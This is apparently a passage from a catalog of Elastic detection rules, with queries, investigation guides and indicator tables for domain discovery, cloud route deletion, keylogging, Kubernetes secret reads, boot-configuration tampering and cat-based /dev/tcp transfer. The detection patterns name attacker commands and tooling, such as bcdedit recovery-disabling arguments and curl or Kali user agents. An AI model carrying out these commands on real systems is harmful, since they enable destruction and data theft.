  /* Don't apply the user.id exclusion to Sysmon for compatibility */
  not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon")
)
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1018"
name = "Remote System Discovery"
reference = "https://attack.mitre.org/techniques/T1018/"

[[rule.threat.technique]]
id = "T1482"
name = "Domain Trust Discovery"
reference = "https://attack.mitre.org/techniques/T1482/"


[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"

Stages and Predicates

Stage 1: process

process where host.os.type == "windows" and event.type == "start" and
    process.name : "nltest.exe" and process.args : (
        "/DCLIST:*", "/DCNAME:*", "/DSGET*",
        "/LSAQUERYFTI:*", "/PARENTDOMAIN",
        "/DOMAIN_TRUSTS", "/BDC_QUERY:*"
        ) and
not process.parent.name : "PDQInventoryScanner.exe" and
not (
  user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and
  not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon")
)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
data_stream.datasetwildcard
  • windows.sysmon corpus 5 (elastic 5)
  • windows.sysmon_operational corpus 5 (elastic 5)
field:"data_stream.dataset" kind:wildcard
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
process.argswildcard
  • /BDC_QUERY:*
  • /DCLIST:*
  • /DCNAME:*
  • /DOMAIN_TRUSTS
  • /DSGET*
  • /LSAQUERYFTI:*
  • /PARENTDOMAIN
field:"process.args" kind:wildcard
process.namewildcard
  • nltest.exe corpus 12 (elastic 10, splunk 2)
field:"process_basename" kind:wildcard value:"nltest.exe"

Exclusions

The rule actively suppresses these predicates.

GCP Virtual Private Cloud Route Deletion

#
Status
production
Severity
medium
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment.

Known False Positives

  • Virtual Private Cloud routes may be deleted by system administrators. Verify that the configuration change was expected. Exceptions can be added to this rule to filter expected behavior.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
GCPcompute.routes.delete: delete

Rule Body

[metadata]
creation_date = "2020/09/22"
integration = ["gcp"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes
define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These
destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the
flow of network traffic in their target's cloud environment.
"""
false_positives = [
    """
    Virtual Private Cloud routes may be deleted by system administrators. Verify that the configuration change was
    expected. Exceptions can be added to this rule to filter expected behavior.
    """,
]
index = ["filebeat-*", "logs-gcp*"]
language = "kuery"
license = "Elastic License v2"
name = "GCP Virtual Private Cloud Route Deletion"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating GCP Virtual Private Cloud Route Deletion

In GCP, VPC routes dictate network traffic paths between VM instances and other destinations. Adversaries may delete these routes to disrupt traffic flow, potentially evading defenses or impairing network operations. The detection rule monitors audit logs for successful route deletions, flagging potential misuse by identifying specific actions linked to route removal, thus aiding in timely threat response.

### Possible investigation steps

- Review the audit logs for the specific event.dataset:gcp.audit and event.action:v*.compute.routes.delete to identify the exact time and user account associated with the route deletion.
- Check the event.outcome:success field to confirm the deletion was successful and not an attempted action.
- Investigate the user account or service account that performed the deletion to determine if it was authorized to make such changes, including reviewing recent activity and permissions.
- Assess the impact of the route deletion by identifying which VPC and network traffic paths were affected, and determine if any critical services were disrupted.
- Correlate the route deletion event with other security events or alerts around the same timeframe to identify potential coordinated actions or broader attack patterns.
- Contact the relevant stakeholders or system owners to verify if the route deletion was intentional and part of a planned change or if it was unauthorized.

### False positive analysis

- Routine maintenance activities by network administrators can trigger route deletions. To manage this, create exceptions for known maintenance windows or specific administrator accounts.
- Automated scripts or tools used for network configuration updates may delete and recreate routes as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts.
- Cloud infrastructure changes during deployment processes might involve temporary route deletions. Document these processes and exclude related events from detection during deployment periods.
- Scheduled network reconfigurations that involve route deletions should be logged and excluded from alerts by correlating with change management records.
- Test environments often undergo frequent network changes, including route deletions. Exclude events from test environments by filtering based on project or environment tags.

### Response and remediation

- Immediately isolate the affected VPC to prevent further unauthorized network traffic disruptions. This can be done by temporarily disabling external access or applying restrictive firewall rules.
- Review the audit logs to identify the user or service account responsible for the route deletion. Verify if the action was authorized and investigate any anomalies in user behavior or access patterns.
- Restore the deleted route using the latest backup or configuration management tools to re-establish normal network traffic flow. Ensure that the restored route aligns with the intended network architecture.
- Implement additional access controls and monitoring for the affected VPC, such as enabling more granular IAM roles and setting up alerts for any future route modifications.
- Conduct a security review of the affected environment to identify any other potential misconfigurations or vulnerabilities that could be exploited in a similar manner.
- Escalate the incident to the security operations team for further investigation and to determine if the route deletion was part of a larger attack campaign.
- Document the incident, including the root cause analysis and remediation steps taken, to enhance organizational knowledge and improve future incident response efforts.

## Setup

The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule."""
references = ["https://cloud.google.com/vpc/docs/routes", "https://cloud.google.com/vpc/docs/using-routes"]
risk_score = 47
rule_id = "a17bcc91-297b-459b-b5ce-bc7460d8f82a"
severity = "medium"
tags = [
    "Domain: Cloud",
    "Data Source: GCP",
    "Data Source: Google Cloud Platform",
    "Use Case: Configuration Audit",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"

[[rule.threat.technique.subtechnique]]
id = "T1562.007"
name = "Disable or Modify Cloud Firewall"
reference = "https://attack.mitre.org/techniques/T1562/007/"

[[rule.threat.technique]]
id = "T1578"
name = "Modify Cloud Compute Infrastructure"
reference = "https://attack.mitre.org/techniques/T1578/"

[[rule.threat.technique.subtechnique]]
id = "T1578.005"
name = "Modify Cloud Compute Configurations"
reference = "https://attack.mitre.org/techniques/T1578/005/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Stage 1: query

data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success

Indicators

These rows show field, operator, and value matches.

Hidden File Network Connection and Executable Download

#
Time window
30s
Sequence by
process.entity_id
Source
github.com/elastic/protections-artifacts

Detects when a hidden file makes an outbound network connection followed by the immediate download of an executable file. Threat actors will often hide their payloads on disk in order to remain hidden and use them to download additional payloads or tooling.

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

Rule Body

[rule]
description = """
Detects when a hidden file makes an outbound network connection followed by the immediate download of an executable
file. Threat actors will often hide their payloads on disk in order to remain hidden and use them to download additional
payloads or tooling.
"""
id = "cf8a45e5-f513-498f-9de7-cf7a27fcffb0"
license = "Elastic License v2"
name = "Hidden File Network Connection and Executable Download"
os_list = ["macos"]
version = "1.0.6"

query = '''
sequence by process.entity_id with maxspan=30s
[network where event.type == "start" and process.name like~ ".*"]
[file where event.action == "modification" and file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*")]
'''

min_endpoint_version = "8.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"


[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "8.16.0"

Stages and Predicates

Ordered sequence: each step below must occur in order within 30s, correlated by process.entity_id.

Stage 1: network

[network where event.type == "start" and process.name like~ ".*"]

Stage 2: file

[file where event.action == "modification" and file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*")]

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • modification corpus 72 (elastic 72)
field:"EventType" kind:eq value:"modification"
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
file.Ext.header_byteswildcard
  • cafebabe* corpus 19 (elastic 19)
  • cffaedfe* corpus 19 (elastic 19)
field:"file.Ext.header_bytes" kind:wildcard
process.namewildcard
  • .* corpus 21 (elastic 21)
field:"process_basename" kind:wildcard value:".*"

Interactive Shell Spawned via Hidden Process

#
Source
github.com/elastic/protections-artifacts

Detects when a hidden process spawns an interactive shell. This behavior may indicate a malicious actor attempting to execute post-exploitation commands.

MITRE ATT&CK Coverage

Rule Body

[rule]
description = """
Detects when a hidden process spawns an interactive shell. This behavior may indicate a malicious actor attempting to
execute post-exploitation commands.
"""
id = "52deef30-e633-49e1-9dd2-da1ad6cb5e43"
license = "Elastic License v2"
name = "Interactive Shell Spawned via Hidden Process"
os_list = ["linux"]
version = "1.0.7"

query = '''
process where event.type == "start" and event.action == "exec" and process.parent.name like ".*" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args in ("-i", "-li", "-il") and
not (
  process.parent.executable like ("/nix/store/*", "/tmp/newroot/nix/store/*") or
  process.parent.args == "/usr/bin/crun" or
  process.parent.command_line == "runc init"
)
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"



[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1564"
name = "Hide Artifacts"
reference = "https://attack.mitre.org/techniques/T1564/"
[[threat.technique.subtechnique]]
id = "T1564.001"
name = "Hidden Files and Directories"
reference = "https://attack.mitre.org/techniques/T1564/001/"



[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

Stages and Predicates

Stage 1: process

process where event.type == "start" and event.action == "exec" and process.parent.name like ".*" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args in ("-i", "-li", "-il") and
not (
  process.parent.executable like ("/nix/store/*", "/tmp/newroot/nix/store/*") or
  process.parent.args == "/usr/bin/crun" or
  process.parent.command_line == "runc init"
)

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

Keystroke Capture by Unsigned Process

#
Time window
1m
Sequence by
process.entity_id
Source
github.com/elastic/protections-artifacts

Identifies attempts to install an application-defined hook procedure to monitor keystroke messages. Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.

MITRE ATT&CK Coverage

TacticTechniques
Collection

Rule Body

[rule]
description = """
Identifies attempts to install an application-defined hook procedure to monitor keystroke messages. Adversaries may log
user keystrokes to intercept credentials or other information from the user as the user types them.
"""
id = "10f7051d-2b32-411b-acdc-b7529662c921"
license = "Elastic License v2"
name = "Keystroke Capture by Unsigned Process"
os_list = ["windows"]
reference = [
    "https://attack.mitre.org/techniques/T1056/001/",
    "https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa",
    "https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection",
]
version = "1.0.3"

query = '''
sequence by process.entity_id with maxspan=1m
 [process where event.action == "start" and
  process.Ext.relative_file_creation_time <= 300 and user.id != "S-1-5-18" and
  (process.code_signature.trusted == false or process.code_signature.exists == false) and
  not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")]
 [api where process.Ext.api.name == "SetWindowsHookEx" and
  process.Ext.api.parameters.hook_type == "WH_KEYBOARD_LL" and process.Ext.api.parameters.hook_module == "null" and
  _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry, $entry.trusted == false or $entry.exists == false) and
  not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
                               ("487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323",
                                "42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935",
                                "5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2c",
                                "146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b",
                                "51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9")
  ]
'''

min_endpoint_version = "8.12.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1056"
name = "Input Capture"
reference = "https://attack.mitre.org/techniques/T1056/"
[[threat.technique.subtechnique]]
id = "T1056.001"
name = "Keylogging"
reference = "https://attack.mitre.org/techniques/T1056/001/"



[threat.tactic]
id = "TA0009"
name = "Collection"
reference = "https://attack.mitre.org/tactics/TA0009/"

[internal]
min_endpoint_version = "8.12.0"

Stages and Predicates

Ordered sequence: each step below must occur in order within 1m, correlated by process.entity_id.

Stage 1: process

[process where event.action == "start" and
  process.Ext.relative_file_creation_time <= 300 and user.id != "S-1-5-18" and
  (process.code_signature.trusted == false or process.code_signature.exists == false) and
  not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")]

Stage 2: api

[api where process.Ext.api.name == "SetWindowsHookEx" and
  process.Ext.api.parameters.hook_type == "WH_KEYBOARD_LL" and process.Ext.api.parameters.hook_module == "null" and
  _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry, $entry.trusted == false or $entry.exists == false) and
  not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
                               ("487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323",
                                "42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935",
                                "5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2c",
                                "146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b",
                                "51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9")
  ]

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.executablewildcard?:\Program Files\*.exe, ?:\Program Files (x86)\*.exeexcludes:process.executable field:"process.executable" value:"?:\Program Files\*.exe" field:"process.executable" value:"?:\Program Files (x86)\*.exe"
process.thread.Ext.call_stack_final_user_module.hash.sha256in146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b, 42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935, 487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323, 51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9, 5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2cexcludes:process.thread.Ext.call_stack_final_user_module.hash.sha256

Kubernetes Secret Get or List with Suspicious User Agent

#
Status
production
Severity
high
Author
Elastic
Source
github.com/elastic/detection-rules

Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually presents stable, purpose-specific user agents (for example controller or client-go variants used by known components).

Known False Positives

  • Operators may use ad hoc HTTP clients, scripts, or penetration-test images during approved exercises or break-glass maintenance; validate tickets, source IP, and identity before treating as compromise.
  • Internal automation built with generic libraries can resemble suspicious user agents; baseline known jobs and tune by service account, namespace, or stable source IP allowlists.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

[metadata]
creation_date = "2026/04/22"
integration = ["kubernetes"]
maturity = "production"
updated_date = "2026/08/18"

[rule]
author = ["Elastic"]
description = """
Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or 
attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or
distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually 
presents stable, purpose-specific user agents (for example controller or client-go variants used by known components). 
"""
false_positives = [
    """
    Operators may use ad hoc HTTP clients, scripts, or penetration-test images during approved exercises or break-glass
    maintenance; validate tickets, source IP, and identity before treating as compromise.
    """,
    """
    Internal automation built with generic libraries can resemble suspicious user agents; baseline known jobs and tune
    by service account, namespace, or stable source IP allowlists.
    """,
]
index = ["logs-kubernetes.audit_logs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Kubernetes Secret Get or List with Suspicious User Agent"
note = """## Triage and analysis

### Investigating Kubernetes Secret Get or List with Suspicious User Agent

The rule matches Kubernetes audit events for **secret** `get`/`list` where **`user_agent.original`** matches a **small
allowlist of suspicious patterns** (scripting runtimes, bare HTTP clients, and known offensive-distro markers) and
**`source.ip` is populated**. It is meant to highlight **credential access** where the client fingerprint does not look
like routine kubectl or well-known controller traffic relative to your environment.

### Possible investigation steps

- Tie `user.name` (and `kubernetes.audit.impersonatedUser.*` if present) to a human, service account, or cloud identity
  and validate whether that principal should use this user-agent profile against the targeted namespaces and secret names.
- Review `kubernetes.audit.objectRef.namespace` and `kubernetes.audit.objectRef.name` for high-value objects (service
  account tokens, cloud IAM bindings, registry pulls, TLS bundles).
- Pivot on `source.ip` in VPC flow, VPN, or proxy logs to determine origin (employee laptop, compromised host, cloud
  instance) and correlate with other API bursts or exec activity.
- Check `kubernetes.audit.annotations.authorization_k8s_io/decision` for successful reads versus failed probing.

### False positive analysis

- CI, GitOps, or one-off scripts can emit generic user agents with broad RBAC; exclude stable pipelines and service
  accounts after review.
- Local API server loopback may still populate `source.ip` in some topologies; compare with expected control-plane paths.

### Response and remediation

- If unauthorized, rotate affected secrets and credentials, revoke tokens or kubeconfigs for the identity, tighten RBAC,
  and block or isolate the source host at the network edge to the API server where appropriate.
"""
references = [
    "https://attack.mitre.org/techniques/T1552/007/",
    "https://kubernetes.io/docs/concepts/configuration/secret/",
]
risk_score = 73
rule_id = "a4c8e901-2b7f-4d6e-9a3c-8e1f0d5b6c2a"
severity = "high"
tags = [
    "Data Source: Kubernetes",
    "Data Source: Kubernetes API Server Audit Logs",
    "Domain: Kubernetes",
    "Platform: Kubernetes",
    "Use Case: Threat Detection",
    "Tactic: Credential Access",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset:"kubernetes.audit_logs" and
event.action:(get or list) and
kubernetes.audit.objectRef.resource:"secrets" and
event.outcome:"success" and
user_agent.original:(curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or *kali-arm64* or Bun* or axios* or undici*) and
source.ip:*
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1552"
name = "Unsecured Credentials"
reference = "https://attack.mitre.org/techniques/T1552/"

[[rule.threat.technique.subtechnique]]
id = "T1552.007"
name = "Container API"
reference = "https://attack.mitre.org/techniques/T1552/007/"

[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

Stages and Predicates

Stage 1: query

data_stream.dataset:"kubernetes.audit_logs" and
event.action:(get or list) and
kubernetes.audit.objectRef.resource:"secrets" and
event.outcome:"success" and
user_agent.original:(curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or *kali-arm64* or Bun* or axios* or undici*) and
source.ip:*

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
data_stream.dataseteq
  • kubernetes.audit_logs corpus 24 (elastic 24)
field:"data_stream.dataset" kind:eq value:"kubernetes.audit_logs"
event.actionin
  • get corpus 2 (elastic 2)
  • list corpus 2 (elastic 2)
field:"EventType" kind:in
event.outcomeeq
  • success corpus 306 (elastic 306)
field:"event.outcome" kind:eq value:"success"
kubernetes.audit.objectRef.resourceeq
  • secrets corpus 4 (elastic 4)
field:"kubernetes.audit.objectRef.resource" kind:eq value:"secrets"
source.ipis_not_null
  • (no value, null check)
field:"src_ip" kind:is_not_null
user_agent.originalwildcard
  • *distrib#kali* corpus 3 (elastic 3)
  • *kali-amd64* corpus 3 (elastic 3)
  • *kali-arm64* corpus 3 (elastic 3)
  • Bun* corpus 2 (elastic 2)
  • Go-http* corpus 2 (elastic 2)
  • Python* corpus 2 (elastic 2)
  • axios* corpus 4 (elastic 4)
  • curl* corpus 2 (elastic 2)
  • java* corpus 2 (elastic 2)
  • node* corpus 2 (elastic 2)
  • perl* corpus 2 (elastic 2)
  • php* corpus 2 (elastic 2)
  • python* corpus 2 (elastic 2)
  • undici* corpus 2 (elastic 2)
  • wget* corpus 2 (elastic 2)
field:"aws::userAgent" kind:wildcard

Modification of Boot Configuration

#
Status
production
Severity
low
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.

MITRE ATT&CK Coverage

TacticTechniques
Impact

Telemetry Coverage

Rule Body

[metadata]
creation_date = "2020/03/16"
integration = ["endpoint", "windows", "system", "m365_defender", "sentinel_one_cloud_funnel", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an
attacker as a destructive technique.
"""
from = "now-9m"
index = [
    "endgame-*",
    "logs-crowdstrike.fdr*",
    "logs-endpoint.events.process-*",
    "logs-m365_defender.event-*",
    "logs-sentinel_one_cloud_funnel.*",
    "logs-system.security*",
    "logs-windows.forwarded*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Modification of Boot Configuration"
note = """## Triage and analysis

### Investigating Modification of Boot Configuration

Boot entry parameters, or boot parameters, are optional, system-specific settings that represent configuration options. These are stored in a boot configuration data (BCD) store, and administrators can use utilities like `bcdedit.exe` to configure these.

This rule identifies the usage of `bcdedit.exe` to:

- Disable Windows Error Recovery (recoveryenabled).
- Ignore errors if there is a failed boot, failed shutdown, or failed checkpoint (bootstatuspolicy ignoreallfailures).

These are common steps in destructive attacks by adversaries leveraging ransomware.

#### Possible investigation steps

- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
- Identify the user account that performed the action and whether it should perform this kind of action.
- Contact the account owner and confirm whether they are aware of this activity.
- Investigate other alerts associated with the user/host during the past 48 hours.
- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts.
- Check if any files on the host machine have been encrypted.

### False positive analysis

- The usage of these options is not inherently malicious. Administrators can modify these configurations to force a machine to boot for troubleshooting or data recovery purposes.

### Related rules

- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59

### Response and remediation

- Initiate the incident response process based on the outcome of the triage.
- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity.
- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""

risk_score = 21
rule_id = "69c251fb-a5d6-4035-b5ec-40438bd829ff"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Impact",
    "Resources: Investigation Guide",
    "Data Source: Elastic Endgame",
    "Data Source: Elastic Defend",
    "Data Source: Windows Security Event Logs",
    "Data Source: Microsoft Defender XDR",
    "Data Source: Sysmon",
    "Data Source: SentinelOne",
    "Data Source: Crowdstrike",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
  (process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and
    (
      (process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or
      (process.args : "no" and process.args : "recoveryenabled")
    )
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1490"
name = "Inhibit System Recovery"
reference = "https://attack.mitre.org/techniques/T1490/"


[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

Stages and Predicates

Stage 1: process

process where host.os.type == "windows" and event.type == "start" and
  (process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and
    (
      (process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or
      (process.args : "no" and process.args : "recoveryenabled")
    )

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
process.argswildcard
  • /set corpus 2 (elastic 2)
  • bootstatuspolicy
  • ignoreallfailures
  • no corpus 2 (elastic 2)
  • recoveryenabled
field:"process.args" kind:wildcard
process.namewildcard
  • bcdedit.exe corpus 9 (elastic 5, splunk 4)
field:"process_basename" kind:wildcard value:"bcdedit.exe"
process.pe.original_file_nameeq
  • bcdedit.exe corpus 4 (elastic 4)
field:"OriginalFileName" kind:eq value:"bcdedit.exe"

Network Activity Detected via cat

#
Time window
1s
Sequence by
process.entity_id
Source
github.com/elastic/protections-artifacts

This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process.

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique
Command & ControlNo specific technique
ExfiltrationNo specific technique

Rule Body

[rule]
description = """
This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is
capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This
activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or
files to another host in the network or exfiltrate data while attempting to evade detection in the process.
"""
id = "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"
license = "Elastic License v2"
name = "Network Activity Detected via cat"
os_list = ["linux"]
version = "1.0.9"

query = '''
sequence by process.entity_id with maxspan=1s
  [process where event.action == "exec" and event.type == "start" and process.name == "cat" and 
   process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")]
  [network where event.action in ("connection_attempted", "disconnect_received") and process.name == "cat" and 
   not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
     destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
     "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
     "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
     "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
     "FF00::/8"
     )
   )]
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"

[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[threat]]
framework = "MITRE ATT&CK"

[threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
[[threat]]
framework = "MITRE ATT&CK"

[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "7.15.0"

Stages and Predicates

Ordered sequence: each step below must occur in order within 1s, correlated by process.entity_id.

Stage 1: process

